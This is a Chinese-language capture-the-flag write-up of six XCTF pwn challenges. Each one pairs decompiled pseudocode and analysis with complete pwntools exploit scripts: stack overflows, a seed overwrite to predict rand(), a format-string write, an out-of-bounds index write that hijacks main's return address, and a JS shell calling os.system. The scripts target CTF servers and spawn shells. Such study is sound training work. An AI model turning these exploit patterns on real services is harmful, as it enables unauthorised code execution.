XCTF_pwn高阶[1~6]
1 dice_game
0x00 try
root@ubuntu20:~/XCTF/pwn/dice_game# ./dice_game
Welcome, let me know your name: aa
Hi, aa. Let's play a game.
Game 1/50
Give me the point(1~6): 1
You lost.
Bye bye!
0x01 checksec
只有canary没有开,其他保护全开了。
root@ubuntu20:~/XCTF/pwn/dice_game# checksec dice_game
[*] '/root/XCTF/pwn/dice_game/dice_game'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
0x02 伪代码
程序的逻辑并不难
__int64 __fastcall main(int a1, char **a2, char **a3)
{
char buf[55]; // [rsp+0h] [rbp-50h] BYREF
char v5; // [rsp+37h] [rbp-19h]
ssize_t v6; // [rsp+38h] [rbp-18h] //one byte
unsigned int seed[2]; // [rsp+40h] [rbp-10h]
unsigned int v8; // [rsp+4Ch] [rbp-4h]
memset(buf, 0, 0x30uLL);
*(_QWORD *)seed = time(0LL);
printf("Welcome, let me know your name: ");
fflush(stdout);
v6 = read(0, buf, 0x50uLL); // read 80 bytes,overflow position(overlap 25 bytes)
if ( v6 <= 49 )
buf[v6 - 1] = 0;
printf("Hi, %s. Let's play a game.\n", buf);
fflush(stdout);
srand(seed[0]);
v8 = 1;
v5 = 0;
while ( 1 )
{
printf("Game %d/50\n", v8);
v5 = game();
fflush(stdout);
if ( v5 != 1 )
break;
if ( v5 )
{
if ( v8 == 50 ) // level50
{
flag(buf);
break;
}
++v8;
}
}
puts("Bye bye!");
return 0LL;
}
__int64 game()
{
__int64 result; // rax
__int16 v1; // [rsp+Ch] [rbp-4h] BYREF
__int16 v2; // [rsp+Eh] [rbp-2h]
printf("Give me the point(1~6): ");
fflush(stdout);
_isoc99_scanf("%hd", &v1);
if ( v1 > 0 && v1 <= 6 )
{
v2 = rand() % 6 + 1;
if ( v1 <= 0 || v1 > 6 || v2 <= 0 || v2 > 6 )
_assert_fail("(point>=1 && point<=6) && (sPoint>=1 && sPoint<=6)", "dice_game.c", 0x18u, "dice_game");
if ( v1 == v2 )
{
puts("You win.");
result = 1LL;
}
功能大概是读入我们的name然后用printf函数输出,之后开始游戏,共有50关,
输入16其中一数,系统随机化一个数(16)与我们输入的数进行比较,如果相等,游戏过关
要想最终调用flag函数,就得过到50关
0x03 漏洞利用
在读入name的时候有一个溢出点,可以溢出25字节,刚好把v5、v6、seed、v8都覆盖掉
v6 = read(0, buf, 0x50uLL);
那也就意味着覆盖seed为我们指定的seed,由于指定同一个数为seed时rand函数输出的值是不变的,那么相当于我们知道了提前知道了随机数值。
看ida上seed与ebp的距离大概推算一下,就可以知道输入0x40字节后就是seed
0x04 python调用指定libc的rand函数
在本地端用python脚本调用libc库的rand函数的操作如下
from ctypes import *
libc = cdll.LoadLibrary("./libc.so.6")
a=[]
libc.srand(1) #设定种子为1
for i in range(50):
a.append(libc.rand(7)%6+1)
print a
可以看到每次运行结果的随机数是一样的
0x05 完整exp
完整的代码如下
from pwn import *
from ctypes import *
libc = cdll.LoadLibrary("libc.so.6")
#p = process('./dice_game')
p = remote('111.200.241.244',51390)
p.recv()
p.sendline('a'*0x40+p32(0))
a = []
libc.srand(0)
for i in range(50):
a.append(libc.rand()%6+1)
for i in a:
p.sendlineafter('Give me the point(1~6):',str(i)) //注意是i不是a[i]
p.interactive()
2 forgot
0x00 try
root@ubuntu20:~/XCTF/pwn/forgot# ./forgot
What is your name?
> ll
Hi ll
Finite-State Automaton
I have implemented a robust FSA to validate email addresses
Throw a string at me and I will let you know if it is a valid email address
Cheers!
I should give you a pointer perhaps. Here: 8048654
Enter the string to be validate
> l
This all you got? I don't even see an @!
0x01 checksec
checksec一下,32位程序,栈不可执行
root@ubuntu20:~/XCTF/pwn/forgot# checksec forgot
[*] '/root/XCTF/pwn/forgot/forgot'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
0x02伪代码
程序的功能大概是用fgets读取输入name到s中,再将0x8048654
的地址输出,(pie没变,这里输出是多余的),再将输入字符串用scanf读入到v2中,根据v2的每个字符,一个个判断是否符合条件,输出对应的v3的值。
其中0x80486CC
是flag函数的地址
0x03 漏洞利用
由于scanf没有控制输入的字符长度,故存在栈溢出,v2可以溢出到v3,将v3的一个值改为0x80486CC
,在控制好条件下即可输出flag
0x04 完整exp
from pwn import *
#context.log_level = 'debug'
p = remote('111.200.241.244',51250)
p.recv()
p.sendline('a')
p.recvuntil('> ')
p.sendline('A'*32+p32(0x80486cc)) //注意A不仅是填充,同时控制了条件
print p.recvall()
3 monkey
首先这道题不像平常的pwn题
root@ubuntu20:~/XCTF/pwn/monkey# ll
total 34000
drwxr-xr-x 2 root root 4096 Mar 26 02:54 ./
drwxr-xr-x 5 root root 4096 Mar 26 02:33 ../
-rwxr-xr-x 1 root root 24924816 Jan 1 2010 js*
-rwxr-xr-x 1 root root 280448 Jan 1 2010 libnspr4.so*
-rwxr-xr-x 1 root root 22224 Jan 1 2010 libplc4.so*
-rwxr-xr-x 1 root root 19128 Jan 1 2010 libplds4.so*
反编译后js里的main函数是一些奇妙的东西,不懂
据网上查的wp说这题是个js解释器,引入了几个js库。
在python中我们需要把这几个库加载进来
p = process([process_name], env={'LD_LIBRARY_PATH':'./'})
完整的写法
from pwn import *
p = process(['./js'], env={'LD_LIBRARY_PATH':'./'})
p.recv()
p.interactive()
跑起来,输入一些程序反编译出来的字符串
root@ubuntu20:~/XCTF/pwn/monkey# python exp.py
[+] Starting local process './js': pid 4058
[*] Switching to interactive mode
$ help
function help() {
[native code]
}
js> $ version
function version() {
[native code]
}
js> $
可以看到返回了函数,应该是可以直接执行js函数
输入os
js> $ os
({getenv:function getenv() {
[native code]
}, getpid:function getpid() {
[native code]
}, system:function system() {
[native code]
}, spawn:function spawn() {
[native code]
}, kill:function kill() {
[native code]
}, waitpid:function waitpid() {
[native code]
}})
js> $
os中内置了system
便可调用system
js> $ os.system('ls')
exp.py js libnspr4.so libplc4.so libplds4.so monkey.zip
那么直接nc输入即可
root@ubuntu20:~/XCTF/pwn/monkey# nc 111.200.241.244 64979
js> os.system('ls')
os.system('ls')
bin
dev
flag
js
lib
lib32
lib64
libnspr4.so
libplc4.so
libplds4.so
run.sh
js> os.system('cat flag')
os.system('cat flag')
cyberpeace{6b0be4d2adbd7383c6fdcf0bc74edac6}
js>
4 反应釜开关控制
0x00 try
root@ubuntu20:~/XCTF/pwn/control# ./control
Please closing the reaction kettle
The switch is:0x4006b0
>aaa
0x01 checksec
root@ubuntu20:~/XCTF/pwn/control# checksec control
[*] '/root/XCTF/pwn/control/control'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
0x02 伪代码
程序的逻辑十分简单
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[64]; // [rsp+0h] [rbp-240h] BYREF
char v5[512]; // [rsp+40h] [rbp-200h] BYREF
write(1, "Please closing the reaction kettle\n", 0x23uLL);
write(1, "The switch is:", 0xEuLL);
sprintf(s, "%p\n", easy); //内嵌easy函数
write(1, s, 9uLL);
write(1, ">", 2uLL);
gets(v5); //overflow positon
return 0;
}
shell函数也有给
由于没有canary和pie保护,这道题就是非常简单的栈溢出入门题
0x04 完整exp
from pwn import *
p = remote('111.200.241.244',56562)
shell = 0x4005F6
p.recvuntil('>')
p.sendline('a'*0x208+p64(shell))
p.interactive()
5 实时数据监测
0x00 try
root@ubuntu20:~/XCTF/pwn/monitor# ./monitor
aaa
aaa
The location of key is 0804a048, and its value is 00000000,not the 0x02223322. (╯°Д°)╯︵ ┻━┻
0x01 checksec
root@ubuntu20:~/XCTF/pwn/monitor# checksec monitor
[*] '/root/XCTF/pwn/monitor/monitor'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
保护全关
0x02 伪代码
main函数只调用一个自定义函数 locker
int locker()
{
int result; // eax
char s[520]; // [esp+0h] [ebp-208h] BYREF
fgets(s, 512, stdin);
imagemagic(s);
if ( key == 35795746 ) //0x2223322
result = system("/bin/sh");
else
result = printf(format, &key, key);
return result;
}
imagemagic函数一看就是存在格式化字符串漏洞
int __cdecl imagemagic(char *format)
{
return printf(format);
key是一个bss段的全局变量
0x03 漏洞利用
如此可以使用格式化字符串覆盖key的值,便可调用shell
注意打好断点,调试好参数位置
涉及格式化字符串的任意地址内存覆盖可以使用fmtstr模块,快速高效
fmtstr_payload(offset,{overwrite :context})
0x04 完整的exp
from pwn import *
#p = process('./monitor')
p = remote ('111.200.241.244',58180)
printf = 0x0804A00C
key = 0x0804A048
payload = fmtstr_payload(12, {key : 0x2223322})
p.sendline(payload)
p.interactive()
6 stack2
0x00 try
root@ubuntu20:~/XCTF/pwn/stack2# ./stack2
***********************************************************
* An easy calc *
*Give me your numbers and I will return to you an average *
*(0 <= x < 256) *
***********************************************************
How many numbers you have:
1
Give me your numbers
32
1. show numbers
2. add number
3. change number
4. get average
5. exit
1
id number
0 32
1. show numbers
2. add number
3. change number
4. get average
5. exit
出现了,经典菜单题
0x01checksec
root@ubuntu20:~/XCTF/pwn/stack2# checksec stack2
[*] '/root/XCTF/pwn/stack2/stack2'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
栈不可执行、canary开着
0x02 伪代码
每个功能的代码我都分别摘出来
add number
if ( v6 != 2 )
break;
puts("Give me your number");
__isoc99_scanf("%d", &v7);
if ( j <= 0x63 )
{
v3 = j++;
v13[v3] = v7;
}
show number
if ( v6 > 2 )
break;
if ( v6 != 1 )
return 0;
puts("id\t\tnumber");
for ( k = 0; k < j; ++k )
printf("%d\t\t%d\n", k, v13[k]);
change number
if ( v6 != 3 )
break;
puts("which number to change:");
__isoc99_scanf("%d", &v5);
puts("new number:");
__isoc99_scanf("%d", &v7);
v13[v5] = v7;
get average
for ( j = v5; ; printf("average is %.2lf\n", (double)((long double)v9 / (double)j)) )
...
...
if ( v6 != 4 )
break;
v9 = 0;
for ( l = 0; l < j; ++l )
v9 += v13[l];
每个函数功能的实现非常的简单,输入字符串的字符串写入v13这个变量中去。
0x03 漏洞利用
这里scanf虽然没有控制输入长度,可以溢出,但是因为开启了canary保护,除非泄露出canary否则这种方式利用不了eip
问题的关键在于change number
因为v5是v13的索引,但是对于v5没有一个边界限制或者检查,这样会导致任意写操作
那关键问题就是找偏移
怎么找,个人认为需结合汇编代码进行调试
change的汇编拿出来
主要看65的代码:
v13[v5] = v7;
.text:0804883E add esp, 10h
.text:08048841 mov eax, [ebp+var_90] //[ebp+var_90]存入的就是v5值
.text:08048847 mov edx, [ebp+var_88] //[ebp+var_88]存入的就是v7值
.text:0804884D mov [ebp+eax+var_70], dl //这是覆盖,实现change的操作
.text:08048851 jmp loc_80488E1
那么毫无疑问ebp+var_70就是v13的位置,我们调试对这部分的内存查看确实如此(输入了65、66、67、68、70、71)
那么只需相减就可以得到v13到ebp+0x4
(ret)的偏移
本来得到偏移0x74,但是后面试了不成功,看过别人的是0x84,由于ebp+var_70的位置检查过没有问题,那就只能是存放ret的地址的问题,我发现在正常人以为的ret下面还有一个地址,跟ret地址一摸一样。现在我们怀疑下面的才是真正的ret,上面的是个幌子。为什么这样这个后面说。
现在就是利用change将ebp + 4
逐个字节改成程序自带的后门函数的地址0x0804859B
change(0x84,0x9b)
change(0x85,0x85)
change(0x86,0x04)
change(0x87,0x08)
0x05 差一点的exp
from pwn import *
p = process('./stack2')
p.sendlineafter('you have:','1')
p.sendlineafter('Give me your numbers','1')
def change(a,b):
p.sendlineafter('5. exit','3')
p.recvuntil('which number to change:')
p.sendline(str(a))
p.recvuntil('new number:')
p.sendline(str(b))
change(0x84,0x9b)
change(0x85,0x85)
change(0x86,0x04)
change(0x87,0x08)
p.sendlineafter('5. exit','5')
p.interactive()
注意一个细节:p.sendlineafter('5. exit','5')
这一串不能丢,因为change不是函数调用,还是属于main函数的代码,所以只有当main函数执行完毕,才会把ret地址压到eip,退到下一个栈帧。
0x06 完整的exp
上面的exp代码在本机跑没有问题,但是在远程就有问题
回显显示没有bash
没有bash就只好用sh
root@ubuntu20:~/XCTF/pwn/stack2# ROPgadget --binary stack2 --string 'sh'
Strings information
============================================================
0x08048987 : sh
0x08048ab3 : sh
但是就没有现成的写好的函数
只能按照常规操作,返回system,再传入参数
注意不能直接填写system的got,因为没有调用过system,got表项不会是system的真实地址,要填system@plt
所以change 操作需要改
from pwn import *
p = process('./stack2')
p.sendlineafter('you have:','1')
p.sendlineafter('Give me your numbers','1')
def change(a,b):
p.sendlineafter('5. exit','3')
p.recvuntil('which number to change:')
p.sendline(str(a))
p.recvuntil('new number:')
p.sendline(str(b))
#system_addr
change(0x84,0x50)
change(0x85,0x84)
change(0x86,0x04)
change(0x87,0x08)
#忽略调system_ret,占4个字节,索引+4
#sh_addr
change(0x8c,0x87)
change(0x8d,0x89)
change(0x8e,0x04)
change(0x8f,0x08)
p.sendlineafter('5. exit','5')
p.interactive()
拿到flag
0x04 细节
前面的两个一样的ret地址的问题,涉及到main函数压栈前后的处理
看一下普通函数最开始执行时,汇编代码如下:
.text:000011ED ; __unwind {
.text:000011ED push ebp
.text:000011EE mov ebp, esp
此时父函数已经将ret地址压入栈
可以看到之后子函数直接push ebp
和mov ebp, esp
这与我们想到的一致,执行完这两条命令之后,栈分布如下:
再看一下main函数的汇编代码如何处理
.text:000011CD ; __unwind {
.text:000011CD endbr32
.text:000011D1 lea ecx, [esp+4]
.text:000011D5 and esp, 0FFFFFFF0h
.text:000011D8 push dword ptr [ecx-4]
.text:000011DB push ebp
.text:000011DC mov ebp, esp
很奇妙的一点就是我自己随意写一个程序,main函数也是如此,说明main函数就是要这么处理的。既然处理是一致的,那下面以我的程序为例
回看到汇编代码,在push ebp之前,还有几步操作,看得出有进行对esp的修改,
前提记住,未执行进入函数之前,esp指向的是ret返回地址的位置
lea ecx, [esp+4]
操作就是mov,如下
mov ecx,esp //给ecx保留esp高4字节的位置,相当于移ecx到esp+4的位置
and esp, 0xfffffff0
就是把esp和0xfffffff0进行‘与’操作,详相当于把esp低位4bit给置零
在调试过程中可以看到esp的低位4bit是c,置零就相当于- 0xc
push dword ptr [ecx-4]
中ecx-4就是前面的esp位置,指向的是ret地址,那该操作就是把ret地址压栈
这就相当于esp在减去0xc的基础上再下移4个字节,那就是0x10
这就解释了为什么有两个ret地址,并且也解释了相差0x10。
而看一下是如何进行回退的
普通函数执行到最后是
.text:00001220 leave
.text:00001221 retn
但是main函数就不一样
.text:000012A4 lea esp, [ecx-4]
.text:000012A7 retn
前面说过ecx保存着一开始esp+4的位置,而ecx-4就是一开始的esp,就指向返回地址的位置,而这个返回地址就是两个ret地址中高地址的那个返回地址,而非低地址的那个,后者是main函数自己压入的。按照接下去的程序就是把高低址的那个ret地址 pop到eip然后执行。
所以这道题中我们劫持程序就要修改那个高地址的ret。